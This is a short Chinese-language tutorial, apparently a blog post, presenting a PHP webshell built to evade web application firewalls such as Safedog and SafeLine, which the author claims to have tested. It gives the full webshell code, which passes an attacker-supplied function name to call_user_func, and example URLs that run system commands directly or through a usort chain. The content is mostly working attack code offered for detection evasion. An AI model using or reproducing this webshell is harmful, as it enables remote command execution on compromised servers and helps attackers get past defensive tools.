目录
一:前景
在我们日常的网站中百分之一百是存在一些安全设备来拦截我们的webshell的,一般情况下不可能裸奔,一些比较好用的免费waf通常为安全狗,长亭科技的雷池waf等。当我们上传的webshell被查杀出来以后就直接失效。
提供以下几种样本来绕过webshell的检测,并且亲测可以绕过安全狗和雷池。
二:样本
样本一:
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, ...$parameters);
call_user_func回调后面。
$parameters = $_GET; 相当于变量parameters接收所有的get传参。在后面的过滤中将action参数过滤。
由此我们构建利用:
方式1:http://127.0.0.1/test.php?action=system&1=whoami 方法1比较简单。
方法2使用usort函数来进行利用,usort传递两个参数,一个数组和一个函数。可以去官网查看具体用法:PHP: Hypertext Preprocessor
经历过程:
call_user_func(usort,0[0]=system&0[1]=whoami&1=call_user_func)
usort(0[0]=system&0[1]=whoami,call_user_func)
call_user_func(system,whoami)